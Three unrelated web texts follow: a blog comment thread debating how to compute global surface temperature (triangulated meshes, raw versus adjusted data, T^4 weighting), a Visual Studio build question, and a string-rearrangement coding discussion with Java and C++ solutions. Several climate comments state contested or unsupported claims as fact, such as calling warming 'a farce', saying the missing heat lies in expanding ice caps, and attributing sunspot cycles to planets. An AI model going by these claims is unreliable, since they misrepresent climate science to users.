In addition to the excellent rebuttal from Ron House of untrue assertions from you, I address your claim saying of arguments about “hiatus-assertion (lost those)”.
The IPCC says you are plain wrong..
So, the quoted IPCC Box provides two definitions of the ‘hiatus’; viz.
(a) The ‘pause’ is “a GMST trend over 1998–2012 that is higher than the entire HadCRUT4 trend ensemble”.
And
(b) The ‘pause’ is “the observed GMST trend hiatus”.
And the IPCC says the ‘hiatus’ exists whichever definition of the ‘hiatus’ is used.
How do you define “lost those”?
Richard
How about just always requiring plotting the raw versus adjusted data on any graph or in any paper. people can then see for themselves the adjusted ‘opinion’ whatever method is used.
How about we stop trying to calculate global average temperatures from surface records altogether? They clearly are not up to the task. Let’s leave these measurements in their raw form and use them only for trivia purposes for local weather segments after the news each day!
wicked – Yes I have wondered that myself. By all means report them but really concentrate on marine temperatures with a coordinated, standardised system. With the degree of money now being committed to climate one could build a system from hell. These are the sort of issues that the IPCC should be addressing.
I have been using a system somewhat like this, which I describe here, with links there and many earlier articles. For over four years I have been posting reports, latest for December here. My main method (mesh) does involve triangulation – I use the convex hull of the points, which is effectively Delaunay – better than minimising length.
I don’t attempt to predict by latitude ot whatever – there is no need. The historic record gives a better predictor. In effect, monthly values are fitted with a linear model by least squares, and the result integrated by linear interpolation within the triangles. I use unadjusted GHCN, although adjusted makes little difference.
I don’t use daily values – then the effort of triangulation would be prohibitive, with little gain (and not much data readily available). Monthly is well within the capability of my PC.
You can run the system yourself – the R code is provided and described.
Nick,
So as a favour, could you modify the code to calculate the 4th root of temperature, trend that, and then compare to the temperature trend?
David,
“4th root of temperature”
I presume you mean fourth power. I could, easily, but people overrate the non-linearity produced by fourth power. Most monthly means lie between about 260 and 305 K. The ratio of derivatives of T^4 would be about 1.6:1, but that is for fairly rare extremes.
The nonlinearity for anomalies would be quite negligible. So the implementation would simply be to vary the weighting by that derivative (of T^4) for each reading.
Of course, you would probably want to average the days within the month by T^4. That I’m afraid we can’t.
Of course, you would probably want to average the days within the month by T^4. That I’m afraid we can’t.
Why?
As for it being a small ratio, 1.6:1 is not a small ratio when one is trying to resolve global trends out to 2 decimal places. 1.6:1 is huge! As for it being only for rare extremes, that’s the whole point, they aren’t rare.
“Why?”
Because for many locations we only have monthly averaged data. This is changing somewhat with GHCN Daily, but not completely. People don’t appreciate what an enormous effort has been required to simply digitise the temperature record that we have. Transfer it eliably from paper to bits.
But I should push back against the idea that T^4 is even appropriate. It is no doubt based on the idea that you really want average flux, not T. That isn’t necesarily true. But insofar as it is, T^4 dependence applies only to the reltively small proportion of flux that exits via the atmospheric window. For flux that interacts with the air (and GHG) ordinary diffusion (Rosseland) is a much better model, and that is linear..
Correct. The Effective Black Body temperature of earth doesn’t change by one bit due to the addition of GHG’s. However, that doesn’t mean that the system a a whole has a linear response. In fact, if it DID have a linear response, you would get a NON linear result by averaging temperatures across the globe. Get it? The back balancing radiation is not in near balance from a an altitude/lapse rate perspective, nor from a latitude perspective. The notion that everything just stays roughly linear due to the addition of GHG’s is to completely ignore all the physical processes that create everything from weather to trade winds to ocean currents, to processes like la nina and el nino.
That is a ridiculous assumption and one that is without merit unless and until it has been put to the test.
“Why?”
Because for many locations we only have monthly averaged data.
Actually, not that I thought it through, that would probably be sufficient. As long as the locations could be raised to the 4th power, and then averaged in time and space, the over weighting of cold regimes (high lat, high alt, winter) and the under weighting of warm regimes (low lat, low alt, summer) could probably become apparent.
Of course that is just my belief.
Thanks, Nick. I’m not familiar with Delaunay, but any consistent triangulation system would do.
re predicting latitude etc – by using the historical record as a predictor, you are in fact using a model to predict (the model is the interpretation of the historical record), and you are using the system itself to “learn” as I indicated. What you start with doesn’t matter, though it would be nice to keep the null latitude model for comparison. I suspect that the only difference would be in the ratings. UHE is more interesting than latitude, and it would be nice to see its influence in temperature estimates reduced to where it belongs.
I illustrated using daily values, but monthly would be valid (“I will begin by assuming that the basic time unit is one day. … Other variations would be possible …“), provided the whole month is available at each location. I agree that daily triangulation could well be prohibitively expensive, and a monthly system might have to be used for practical purposes. However, since monthly data is presumably constructed from daily data and some months can’t be constructed, data would be lost. I would be reluctant to lose anything until proved necessary.
I looked at your “little difference” page, and the graph seemed to me to be out of kilter with the explanation : the difference between the two plots went all one way while the explanation said it changed direction. I suspect that what I was looking at wasn’t what I thought it was.
Mike,
What is shown on that page is a back-trend plot. It shows the trend from the x-axis time to present. So starting before about 1960 the trends of adjusted to present are higher, but only by less than 0.1°C/Century. For trends from later than about 1970 to present, the adjusted is actually less.
There is a post here showing the regional breakdown, and also global, in the more familiar time series plot.
Thanks, Nick. I have thought quite a lot about what you are saying, and have come to the conclusion that all data should be used unadjusted no matter what. It makes everything a lot easier, and it makes everything a lot less open to manipulation. This ties in to something I said in another comment, namely that adjustments can introduce bias – even adjustments aimed at removing bias.
If there is something so dramatically important that it simply has to be dealt with, then its proper place is in the model – so for example if it was desperately needed then aircraft traffic could be in the model. I should have stuck to my own principle: measurement trumps model.
Why not start with something “easy” like a house. What’s the average temperature of your home. Good luck!
Question:
Is it important to determine the actual “average” temperature or is it more important to determine a trend?
If the average of intensive properties is physically meaningless, then the trend will be equally meaningless.
The average price of the shares in a portfolio is physically meaningless, but the trend matters a lot.
Really? The trend of a physically meaningless average is somehow meaningful? Share prices aren’t physical things, they’re monetary concepts.
I’d suggest you read this.
Mike Jonas January 10, 2016 at 9:02 pm
The average price of the shares in a portfolio is physically meaningless, but the trend matters a lot.
The ratio of “price” and “shares” is not governed by a non linear physical law. The analogy is not apt.
I get why you are trying to do what you are trying to do. But unless and until the data is first converted to 4th root of T and then averaged and trended, you’ve got nothing meaningful in terms of the earth’s energy balance. Every physicist I have ever talked to about this issue agrees to one extent or another. The reluctance of people with the processing power, access to data, and programming skills to do that just baffles me. They’ll spend countless hours figuring out how to interpolate data via some uber sophisticated math, but this simple ask gets ignored. If someone were to explain to me why I am wrong, I’d be happy to listen. But no one does.
I rather suspect (my hypothesis if you will) is that the resulting trend will be even more muted than the temperature trend.
davidmhoffer – I hadn’t considered using the 4th root, but of course it does make some sense. Please note that I don’t rule anything out (“The terms global temperature and regional temperature will be used here to refer to some kind of averaged surface temperature for the globe or for a region.“), so the system could use 4th root averaged ^4. At least it could get people thinking …..
You can derive a “global temperature” all you want, but it will still be physically meaningless.
Why does it even matter?
Because the surface temperature is being abused/adjusted to fabricate a “See, we told you so.” retrograde justification of CAGW. I’m sure there is some logical fallacy that applies.
Broken record time.
1) Anthro’s net 4 Gt/y CO2 contribution to the natural 45,000 Gt of reservoirs and hundreds of Gt/y fluxes is trivial, the uncertainties in natural fluxes are substantial, IPCC AR5 Fig 6.1 and Table 6.1.
2) The 2 W/m^2 RF of the net anthro CO2 accumulated 1750 to 2011 is trivial in the magnitude and uncertainties of the total atmospheric power flux balance. Fig 10 Trenberth et al 2011. The water vapor cycle, albedo, ice, evaporation could absorb this amount in the 3rd or 4th decimal point.
3) The GCMs are worse than useless. IPCC AR5 Text Box 9.2
Do you mean AR5 WG1 ALL FINAL Box 9.1 | Climate Model Development and Tuning (p. 745)?
feliksch
No, Box 9.2 beginning page 769. FAQ 8.1 is another interesting read.
Yeah. I say the term “model”. The worlds best Dynamical Forecast Weather Models
consistently “bomb” after only 7-days. And “these people” want to talk Climate Models???
Seven days? You’re being WAY too generous. Yesterday they weren’t forecasting rain in my area for a few days. Today they’re now forecasting rain. Total fail.
There is one pristine, evenly spaced, unadjusted surface temperature compilation, USCRN
and one that also adds ballon atmospheric sample, ClimDiv.
Over the area that these cover, the satellite data trends in UAH and RSS are pretty much the same, thus verifying the data extraction algorithms of the satellite temp series.
So what is wrong with using data derived from satellites.?
Min/max is too often a measure of how high or low the temp was allowed to go by cloud, or the absence thereof, at the potential peak or trough times of a day. I am staggered that this simple glaring fact is ignored.
“Coolest” years in my region (mid-coast NSW) were 1929 and 1974…both years of much rain, hence cloud. (Not that rain tells the full story of cloud at potential min/max time of day, but it’s the only indicator available that means at least a bit.) Is it surprising that our driest year after legendary 1902 was also our “hottest” year on record (1915 – sorry warmies)? Is it surprising that “record” high minima occurred in the massive wet of 1950 in regions of northern NSW where the cloud usually clears at night in winter – but didn’t in 1950?
The problem with global temp is not that it is hard to determine by min/max records. The problem is that is utterly without point. Because cloud.
Well, a couple of comments. First, Mike, thanks for an interesting proposal. It is not a whole lot different from what the Berkeley Earth folks do. They define a global “temperature field” which is a function of (from memory) latitude, altitude, and day of the year. In any case, much like your system.
For me, I’d have to go with the sentiment expressed by Anthony and his co-authors. Their thought is that if you have a huge pile of data, some of which is good, some bad, and some ugly, you should just use the good data rather than busting your head figuring out how to deal with the bad and the ugly.
That of course brings up a whole other discussion about what is “good data”, but in my eyes that discussion is much better than trying to put lipstick on a pig.
w.
Hi Willis – yes, if your sole objective is to get global and regional temperature trends using the surface station history, then go for quality. No question. But I see the model itself as an objective too. [I doubt the model can ever get implemented, so think of this as a thought experiment].
I do expect that much of what I am proposing is already being done, as you say re BEST. But I am trying to get the mindset turned around so that there is no attempt to fit the temperature measurements to the model, Only the model can change.
We have become obsessed by temperature trends, and the BEST mindset is full,of them. I see a trend as something that you interpret from data. First comes the data, and trends play no role in collecting the data. So when you are putting together the global picture from station and other data, trends should play no role. Only after you have done it would you look at it to see what the trends were.
We have also become obsessed by UHE. The way I deal with it is not to try to to remove it from the record, but to use it and quantify it. I see a parallel with the isostatic (hope I got the term right) adjustments to sea level. The powers that be decided to report sea level adjusted up to eliminate the isostatic effect. But my view of that is that they should report the real sea level first and address the reasons later. So with UHE. The temperatures in urbs are higher – it’s what they are – so we should record and use those higher temperatures and address the reasons later. My system I think is way better for doing that. And it also ends up telling you how to remove UHE from the results if you want to.
Mike Jonas January 11, 2016 at 12:26 pm Edit
Thanks, Mike. To me, Berkeley Earth does a good job in that their method is transparent and they maintain all of the raw data, so I have access to both the adjusted and unadjusted information. And as I mentioned, they (like you) establish a “temperature field” that gives the expected temperature given the month, altitude, and latitude of the station.
They have also used what to me is a good method, called “kriging”, to establish the field. From Wiki:
Is this the right way to do it? One thing I learned from Steven Mosher is that there is no “right” way to average temperatures. There are only different ways, each with their own pluses and minuses.
Regarding your method, I fear I don’t understand it. You have fitted a triangulated mesh to the individual station points. So far, so good. But I don’t understand how that relates to the model. You say that you use the model to determine the shape of the temperature line between two stations … but how do you use that data about the shape of those lines?
In any case, I think I’ll go mess about using CERES data and DEM data to see what the temperature field looks like …
Regards,
w.
OK, here’s a simple 1D example of how the “shape” works. Suppose that somewhere between two points there is an urb so that the model between the two points looks like this:
Then suppose that on a given day the temperatures as measured at the two points are 12 and 13 deg C and that there are no measurements from the urb or anywhere else in between the two points. The estimated temperatures then look like this:
Hope that helps.
Thinks … maybe you meant what formula is used. I like to keep things simple, so you take the three points of the triangle in the model as representing a flat triangle, move the triangle corners to match the three measured temperatures, then place each point within the triangle at the same distance above or below the triangle as it is in the model. Other methods are possible of course, but that one is simple.
When Willis leaves the exit door this widely open, he must like you.
I am not a physicist. Can the total energy emission from earth of the appropriate form (IR?) be measured accurately by current satellites? Is it theoretically possible to simply measure or accurately calculate energy in vs energy out on an annual basis?
Interesting use of the triangulation mapping technique. How about creating maps including the other weather-station data such as precipitation, local pressure, wind vector. cloud coverage? Could they produce sets of weather-maps that if somehow integrated over 30 years could produce a ‘supermap’ showing actual climate change in terms of e.g average windspeeds, rainfall, cloud-cover, pressure and so on?
Thank you for your very interesting article. I think that it looks like a much improved method over what is currently being used.
However I feel that it suffers from the deficiency that there is no such thing as a global temperature. The temperature at Reykjavík, Iceland right now is very different from the temperature at Brisbane, Australia right now. Worse, the temperature at Brisbane right now (about 8:00 PM), is quite different from the temperature it will be at noon tomorrow. And the noon temperature at Brisbane today is quite different from the noon temperature in 6 months. We are looking at tens of degrees centigrade change every day, as well as summer to winter.
Now for climate change work, we don’t care so much about the actual temperature, but do want to know about the trend, so it is possible to create an alternative algorithm that is free from the systemic biases caused by attempts to merge thousands of low grade temperature records together. The method I suggest involves taking each site and breaking it up into uninterrupted segments. Any change in a site creates a new segment – relocation, painting, new equipment, etc. Instead of lowering the quality of the data, these changes now simply create new segments.
Each segment will be much shorter, but relatively high quality. You can rely on the segment to be internally consistent. In other words if it shows a trend, there is probably a trend there. The trends of a region can be combined (nothing smaller than a continent) to show the overall trend of that region. I, personally, wouldn’t combine regions to try to get the trend for the whole planet, but everybody knows climate scientists are crazy.
I still prefer to use raw satellite data. Always start with the highest quality data. Make it a rule.
Trend analysis based on actual measurements, no homogenization or infilling, just station trends.
“The system does not care which stations have gaps in their record. Even if a station only has a single temperature measurement in its lifetime, it is used just like every other temperature measurement.
· No estimated temperature is used to estimate the temperature anywhere else.”
If this means no proxy temps, I’m all for it; even a few miles can make a huge difference in temperature or weather conditions.
Establish this model for measuring the surface temperature of the Earth
Sun and Earth lie in the plane of the ecliptic, so that the sun’s rays are parallel to this plane and affect the Earth by circles section of the Earth, which are parallel to the plane of the ecliptic. Determine the number of these planes and the northern and the southern hemisphere (say every 5 degrees, going from the center of the Earth on the ecliptic and the point at the place where the radius pierces the Earth’s surface.)
In these cross-sectional circles set of measurements (say every 5 degrees of the initial selected point. This measurement is carried out at the same time London time. This is a measurement for one day, and specify how many times to perform during 24 hours.
To determine the annual measurement of the true anomaly angle (angle phi) and it determine, for example, every day -which is about phi = 1 level).
Then you have a completely accurate, coordinated and sized natural temperature of the earth.
If we use well sited stations and find that the temperature is quite flat and mates well with satellite data,
one could imagine that just selected the very best sited station and just use that would give similar trend performance.
This could be continued worldwide: each country selects its best sited station and publishes that data unchanged.
Would the overall trend in temperature be different from the current land based systems currently in use?
An extreme version of this would be to have just one well sited sensor – no more, and report that trend.
Unfortunately, no one would trust data from only one national source…..
Before people suggest just one sensor would not be able to relate to world wide temperature, as mentioned above, heat content (+20 degrees, -5 degrees: average is ???) so perhaps one or one per country could be much better.
The variance of a sample size of one is infinite / unknown. The unfortunate truth is that anything man does is impermanent and results (and errors) change over time. We have no standard sensors that do not fail, no stations without non-random error, no satellites without measurement drift, error, or infinite lifespan, nor adequate numbers of satellite replicates. Error is us.
There are limits to what we are able to do and we have to know our limitations. The reality is that humans are not currently able to gather consistent, unbiased or error free information over centuries or even portions thereof. It is certain that the current changes over a century are well within our gross measurement error and that supposed ‘global climate change’ of .8 C per century is a farce.
We should start by gathering statistically valid estimates based on random, replicated samples of adequate size so we at least measure what sorts of variance our methods produce. Since we have not even done that, it certainly would be a good start so that we more accurately know our limitations. But we do not because it is inconvenient for those with agendas to explain away data that do not agree with their viewpoints.
Thanks, Mike Jonas. Your New System makes a lot of sense, but I’m afraid it is way too much for humans right now.
We will have to keep on using just MSU LT temperatures until we become of age, if we ever do.
In the end, your approach like all the others except satellite based measurement provides an imperfect fiction which is overwhelmed by inaccuracy and variability. You really cannot logically average temperatures across the globe with such poor distribution of stations and such variability of accuracy in local measurement capability. When you consider the lack of precision, error bars expand and your final product provides no greater utility than current systems, the value of which is already oversold.
george e. smith January 11, 2016 at 9:53 am
Well, that’s not entirely true, as “Centigrade” was also the accepted and common name for the Celsius scale when I was a kid, and nobody used “Celsius”. Like the song “Fever” said back in the early 20th century,
Next, here’s the result of asking for the definition in Google:
See that part that says “another term for Celsius”? … who would have guessed? Well, actually, I and most everyone would have guessed that Centigrade is another term for Celsius. Except you. I guess.
Then we have Websters, which says:
So Websters specifically disagrees with your claim that “centigrade” means ANY scale going from zero to 100. Instead, Webster says a centigrade scale is a scale which specifically goes from 0 AT FREEZING to 100 AT BOILING.
In other words, George, your attempt at being a scientific grammar nazi is a total fail. If you are going to snark at people about their choice of words, you should first do your homework and make sure of your own facts … so here are some more facts for you
The Centigrade scale was invented in 1744, and for the next two hundred years it was called the Centigrade scale. In 1948 the CGPM (Conference General des Poids et Measures) decided to change the name to the Celsius scale.
So despite your bogus claims, Celsius is nothing more than the new name for the Centigrade scale, and as the author you so decry states, indeed both terms continue to be used, and the abbreviation “C” is the same for both.
This use of both terms should not be surprising, since the scale was originally called “Centigrade” for over two hundred years, and the change was made recently, by fiat, and by a bunch of scientists in France. As a result, the term centigrade is still well established in common parlance.
Regards,
w.
PS—Don’t get me started on the tardigrade scale …
Your model leads to a “step function” temperature map–that is, at the line equidistant between two nearest neighbors, there have different temperatures on each side. This is counterintuitive, hence the usual choice of weighted smoothing over points across some kernel.
Not sure that I get what you are saying, but take a look at my comment – that shows no step function at the mid-point.
A thoughtful essay and thoughtful back and forth comments.
I too think we need to start with “some method” that uses “only the raw temperatures” with minimum “interpretation”. Then, see where that takes us.
It may allow us to see that, at least before the satellite record, world temperatures are unknowable with both sufficient coverage, accuracy, and precision to make the current “CAGW exists and is due to CO2” claims.
Why go through all of the contortions; why not just use satellite data and be done with it.
It seems to me that our government agencies and mainstream scientists accept and use satellite records except the temperature measurements.
For example: Sea level and temperature, ice mass, hurricanes(typhoons) wind and rain, Polar ice mass, Ice extent, CO2 Concentration, read some ocean buoys, read some tidal gauges, and much more are acceptable from the several hundred meteorological satellites..
Why does the government agencies refuse to use RSS, UAH and Rdiosonde for temperature?
This makes very good sense.
Can this new system be applied to historic data?
Dear Mike (Jonas),
You can NOT determine “global temperature”.
Regards,
WL
…”and a model” I stopped reading right there.
It isn’t that kind of model, as I tried to make clear. You only had to read one more sentence (or pick the clue in the previous para).
I read an article some years ago (the article was written in 2006) by Christopher Essex from University of Western Ontario, Dept of Applied Mathematics (he also had 2 co-authors), that stated that there is no such thing as a global temperature. He argued that averages of the Earth´s temperature are devoid of a physical context which would indicate how they should be interpreted or what meaning can be attached to changes in global temperatures. How should one understand this? Are we trying to figure out better ways to measure something that doesn´t exist?
How about a global temperature index? Then you can tell how to interpret it and when it is appropritate to use it, by seeing how the index is constructed.
Why measuring temperature matters?
We don’t even know what makes it.
+1
I have two problems.
One. When I search for the scientific definition of global temperature, nothing comes up. If global temperature has no agreed scientific meaning, it is meaningless, then measuring it seems pointless.
Two. I assume global temperature is in some way related to the temperature of the atmosphere or more precisely the energy of the atmosphere. Both of these cannot exist independently of the atmospheric pressure. Measuring the atmospheric temperature without standardising the pressure gives little information that would help to assess global energy of the atmosphere
As far as I can make out, one Bar of pressure equates to 3 degrees C roughly, So the range of variation in either would significantly relate to the other. That is to say, if the energy of the system remains constant but the temperature rises by 2 degrees, the pressure would then drop by about 0.6 Bar, which could happen anytime with no drama.
Dan
This isn’t really about surface temperature. It’s about surface air temperature.
While this is true, in reality it really should be about the surface too, as the air cools quite rapidly at night, except it is warmed by the surface until it also cools down.
I would argue that if you want an uncomplicated measure of surface temperature trends for the purposes of gauging climate you should be burying your thermometers. Furthermore, there is a huge pool of cold water in the ocean abyss that one needs to be mindful of when thinking about surface temperature. Kevin Trenberth is now arguing that the reason observed air temperature trends don’t match modeled trends is because of “missing heat” in the oceans. I don’t think he’s entirely wrong to point this out. The weight of a column of the atmosphere is represented by similar column of water only 33 feet high.
Hi Mike. I like the idea of your project suggestion. I am a software engineer looking for new challenges. I have plenty of current challenges already and have enough projects to last me two lifetimes.
I have a massive climate science software project code named Wattson that I briefly mentioned in a comment here a couple of years ago. It is extremely comprehensive, but not ready to be publicly detailed. Your idea is like a subset of the Wattson project, however your particular method is different than any existing sub projects of Wattson.
Anyway, I though I would mention some of the modern technologies being used in the software development domain.
————–
First is how open source software is distributed today. Here are some resources on that topic:
One example from the above search results:
Open Source projects best practices
What are good practices for committing new features to your product’s repository? How can I know, or how can I prevent, my build from being broken by a PR by a project team member, or the community?
In this videos, Phil Haack and MVPs walk through GitHub and discuss best practices on how to take the best from GitHub and its repositories.–Microsoft-Partnership/GH2-Open-Source-projects-best-practices
——————–
To greatly increase the computing speed of your project I would consider using C++ AMP.
Here is a resource for further information:
And as mentioned at that link, a video explaining the technology:
BUILD 2013 day 2 keynote demo
————–
If you use Visual Studio, of which you can use the free very comprehensive Community edition, this allows up to 5 users to collaborate on a project using Visual Studio Team Services (formerly Visual Studio Online) :
Visual Studio Team Services
Services for teams to share code, track work, and ship software – for any language, all in a single package.
It’s the perfect complement to your IDE.
From <>
Free for up to 5 users.
————-
Database: I am using a technology called Entity Framework that automagically creates the database infrastructure (tables etc.) from my code. More information here:
One Example from above search:
A Lap Around, Over, and Under EF7Ignite AustraliaNovember 19, 2015A deep dive into the layers of Entity Framework 7, Migrations, Model building, Seeding Data, Dependency Injection, Verbose Logging, Unit Tests and the new In-Memory Provider
From <>
————-
Another thing to consider is using JSON if data is to be exchanged :
“JSON is an open, text-based data exchange format (see RFC 4627). Like XML, it is human-readable, platform independent, and enjoys a wide availability of implementations. Data formatted according to the JSON standard is lightweight and can be parsed by JavaScript implementations with incredible ease, making it an ideal data exchange format for Ajax web applications. Since it is primarily a data format, JSON is not limited to just Ajax web applications, and can be used in virtually any scenario where applications need to exchange or store structured information as text.”
From <>
————-
This project might make for several future blog posts about modern methods of software development as readers follow along during the journey of developing this project, and later the slow reveal of the massive Code Named Wattson Project.
————–
Personally, I do Test Driven Development (TDD) for all of my projects now, where a test is written before any domain or production code is produced.
This means that if I were to work on this project, there will be unit tests that drive the development forward.
————–
Lastly, could you make up a name for this project. Preferably 8 or 9 letters or less to keep the namespaces short in the software code. Note, I am pretty rusty with C++ as I switched to C# around the year 2000. Been itching to resume working with it after I finish a current project I am working on that has nothing to do with climate.
GGM
Many thanks, that is very helpful information. It is going to be much more practical I think to leverage off an existing system than to write from scratch. Maybe Wattson is that system. I’m preparing another post which explores the system further, so please keep an eye out for it (assuming WUWT will publish it)
What is needed is more data. It is something that the Watt’s team that took pictures of various temperature stations could do.
For example, look for several stations that need to be repainted where there is room to put more equipment. Two or three at different areas (regions of the country) would do. Next, build duplicate temperature stations but that is in good condition with new paint and put them close to the other temperature stations but still far enough away that the duplicate won’t impact the original. Collect temperature data from the duplicate and original stations for at least one year two would be better. Next, paint the old temperature station as it normally would be repainted. Collect two more years of data from both temperature stations.
Using this type data, it would be then possible to show the impact of painting temperature stations. NOAA should have done this type of experiment several times as a basis for their calculations.
The “missing” heat is in the expanding ice caps.
· There may be significant local distortions on a day-to-day basis. For example, the making or missing of one measurement from one remote station could significantly affect a substantial area on that day.
One word: Anomalize.
Garymount
I saw a lot of some instructions on how you can make a software for the study of climate codes. I’m not sufficiently versed in and your mess, but I am very much interested in the underlying cause of climate change.
Do you think (not only you, but almost all scientists of the world), you can come up with some results that you might be hidden in your team combinatorics which have no true foundation in nature, nor do you know what causes climate change and all other phenomena on the planet.
I respect your knowledge in the making of the program, but it is all in vain, without the knowledge of the true causes of phenomena. Have any scientific, ever attempt to decipher the enigma that has logic in it, I suppose to find something today. The way everyone looking for something like “blind chicken grain”
Come on, down slightly on the level of us in science unknown and try to make a program based on the logic that we have.
Here’s offers:
Climate change on the planet depend on mutual relations planets and sun, where there are so many cycles that take place from the beginning of our solar system. You all ignore the fact that we are human beings latest patent Creator for whom science has no respect.
Let me help you:
Sunspot cycle of 11.2 years, is the result of 4 planets and other cycles depend on the actions of other planets.
Are you willing to make a program for unraveling this problem, according to my data?
This requires a lot of astronomical data, strong software and a lot of diagrams and formulas. Try to include NASA and the American government, but it needs to be before that waives the wrong attitude about the causes of climate change
HERE YOU GO!!
My head is spinning.
Is the purpose of all these temp measurements to somehow arrive at some globally averaged daily temperature of planet Earth? A single number? A tilted and spinning planet that has two frozen poles, three quarters covered in oceans and the rest in continents, mountains, valleys, deserts, cities and 7 billion people? Who all live at the bottom of a 50 mile high global ocean of air with constant and chaotic weather systems. And not to mention a capricious star, 7 light minutes away, that we circle every 365+ days in the only prime Goldilocks orbit,
What is the Earth’s average daily temperature? Does this number make any sense? (the average temperature of my whole car is probably 150F when running, but I am comfortable…)
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Can I have multiple source files listed in a single solution?
This Article Covers
Win Development Resources
My environment is C/C++ under VS.NET 2003 edition.
I port games amongst cell phone handsets; part of the testing is building a DLL that runs on a PC-based emulator. Each game has several source files. I also have a file from the SDK I need to include with each build. I have two SDK versions. So I need either c:/vendor/version_1/src/foo.c or c:/vendor/version_2/src/foo.c. Foo.c never changes, so I want to build it out of the vendor's SDK distribution.
I also need to include header files from either c:/vendor/version_1/inc, or c:/vendor/version_2/inc.
Right now I have one solution per game, with several configurations to deal with the handsets. It works very well except for that pesky foo.c file.
Ideally, I'd like to have a single variable, $(VERSION) or some such, and key the SRC and INC directories off this. If that isn't possible, can I somehow have multiple source file listed in a single solution?
If all else fails, I can use a pre-build rule to copy the foo.c file to the local directory, and a post build rule to delete the silly thing. This seems, well, silly.
Here's an idea: why not create a file in your project called MYFOO.C that only consists of a single line that looks like this:
#include <foo.c>Then, each configuration has a different include directory for foo.c based on the version (which you already do for the header files).
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Given a string S, and an integer K, rearrange the string such that similar characters are at least K distance apart.
Example:
S = AAABBBCC, K = 3
Result : ABCABCABC (all 'A's are 3 distance apart, similarly with B's and C's)
S = AAABC, K=2 : Not possible. (EDIT : k=3 is not possible).
S = AAADBBCC, K = 2:
Result: ABCABCDA
I don't understand why example 2 is not valid. In my view S = ABACA is valid answer with K = 2, if ABCABCABC is valid for K = 3
Store string characters in map by their frequency
Deque the most frequent character and put it at position p, p+d,.. p+(f-1)d till n
Here is possible implementation :
public String rearrageString(String str, int d) throws Exception { char[] res = new char[str.length()]; Arrays.fill(res, '\0'); Map<Character,Integer> freq = new HashMap<>(); for (char ch : str.toCharArray()) { freq.put(ch,freq.containsKey(ch)?freq.get(ch)+1:1); } Queue<Character> pq = new PriorityQueue<>(new Comparator<Character>(){ @Override public int compare(Character a, Character b) { int aFreq = freq.containsKey(a)?freq.get(a):0; int bFreq = freq.containsKey(b)?freq.get(b):0; return bFreq - aFreq; } }); pq.addAll(freq.keySet()); int p = 0; while (!pq.isEmpty()) { Character ch = pq.poll(); while (p < res.length && res[p]!='\0') p++; if(p == res.length) throw new Exception("Invalid string"); int cnt = freq.get(ch); int q = p; while (q < res.length && cnt > 0 ) { res[q] = ch; q+=d; cnt--; } if(cnt > 0) throw new Exception("Invalid string"); } return new String(res); }
@jccg1000021953 right, the algorithm above works only if the same characters are at exact d characters apart.
Here is a modification on it to take into account the "at least d" condition. The idea is the same with exception that when the last free slot is after the last position of the letter with maximum frequence, we start to insert characters from the beginning of the string at "d" distance.
public String rearrange(String s, int d) { Map<Character, Integer> map = new HashMap<>(); int n = s.length(); for (int i=0; i < n; i++) { Integer cnt = map.get(s.charAt(i)); if (cnt == null) cnt = 0; map.put(s.charAt(i), cnt+1); } Queue<Character> queue = new PriorityQueue<>(map.size(), new Comparator<Character>(){ public int compare(Character c1, Character c2) { return map.get(c2) - map.get(c1); } }); queue.addAll(map.keySet()); StringBuilder sb = new StringBuilder(n); int sz = n; while (sz > 0) { sb.append('\0'); sz--; } int firstFree = 0; int m = map.get(queue.peek()); while (!queue.isEmpty()) { Character ch = queue.poll(); while (firstFree < n && sb.charAt(firstFree) != '\0') firstFree++; int q = 0; if (firstFree == n) return "Cannot be rearranged"; if (firstFree < d*m - 1) { q = firstFree; firstFree++; } int cnt = map.get(ch); while (q < n && cnt > 0 ) { if (sb.charAt(q) == '\0') sb.setCharAt(q, ch); else sb.insert(q, ch); q+=d; cnt--; } if(cnt > 0) return "Cannot be rearranged"; } return new String(sb.toString().substring(0, n)); }
Here's the algorithm I have in mind:
Create a max heap of each character based on their number of occurence.
Each node would be in the form {char, occurence, next} where next is initialized to 0 (represents the next index in the string at which it is legal to write it, initially every character can be the first one)
Loop i from 0 to n, and at each iteration peak the highest-occurence and legal character. That is take the one with max occurence (possibly the root of our heap), but which "next" legal index is lower or equal to i
Write this character and decrease its occurence by one, and update its next legal positon to i + K (because there need to be at least K letters in between this one and the next time we write it), then sift it down the heap if needed.
Building the heap is O(n) and then each iteration is O(log n), which are done n times, so O(n log n) running time.
Here's my O(n) solution in C++:
#include <string> #include <vector> #include <algorithm> #include <cassert> #include <iostream> using namespace std; class Solution { public: Solution() : size(0), pos(0) {} typedef pair<char, int> CharCount; vector<CharCount> count; int size; // how many chars in count to be output int pos; // pointer to count //Count frequency of chars, setting members count and size. void count_char(const string & s) { vector<int> frequency(26); for (int i = 0; i < s.size(); i++) { int idx = s[i] - 'A'; assert(idx >= 0 && idx < frequency.size()); frequency[idx]++; } for (int i = 0; i < frequency.size(); i++) { if (frequency[i] > 0) { count.push_back(make_pair('A' + i, frequency[i])); } } //Sort elements with bigger count before less one, so that they'll be output //in that order. See next_char(); sort(count.begin(), count.end(), cmp); size = s.size(); } //If there're more chars in count to output. bool has_more() { return size > 0; } //Output one char in count and reduce available size. The order matters. char next_char() { assert(pos < count.size() && size > 0 && count[pos].second > 0); char ret = count[pos].first; if (--count[pos].second == 0) ++pos; --size; return ret; } static bool cmp(const CharCount & a, const CharCount & b) { return (a.second > b.second) || (a.second == b.second && a.first < b.first); } string solve(const string & s, int k) { assert(k > 0); if (k > 26 || k >= s.size()) return ""; count_char(s); //Divide the chars into groups with k chars in each group, only the last //group may has less than k chars. int groups = s.size() / k; if (s.size() % k > 0) groups++; //If a char count is more than the number of groups, it means the char //must appear at least twice in one group and thus it's impossible to //ensure the distance k. for (int i = 0; i < count.size(); i++) { if (count[i].second > groups) return ""; } vector<char> ret(s.size()); int p = 0; while (has_more()) { assert(p < k); //Fill position p in each group with the next_char(). for (int i = 0; i < groups && has_more(); i++) { int idx = i * k + p; if (idx >= ret.size()) break; ret[idx] = next_char(); } //Next position in each group to fill a char. p++; } return string(ret.begin(), ret.end()); } }; int main() { string s; int k; while (cin >> s >> k) { Solution so; string r = so.solve(s, k); if (r.empty()) cout << "Impossible"; else cout << r; cout << endl; } return 0; }
The basic idea is to divide the chars from string s into n groups, each with k chars(only the last may has less than k chars). Then fill the position p(initially 0) of each group with the char of the most frequency, then the char of the less frequency and so on. When position p in each group is filled, ++p and repeat the procedure until all chars from s are filled in new container.
Looks like your connection to LeetCode Discuss was lost, please wait while we try to reconnect.
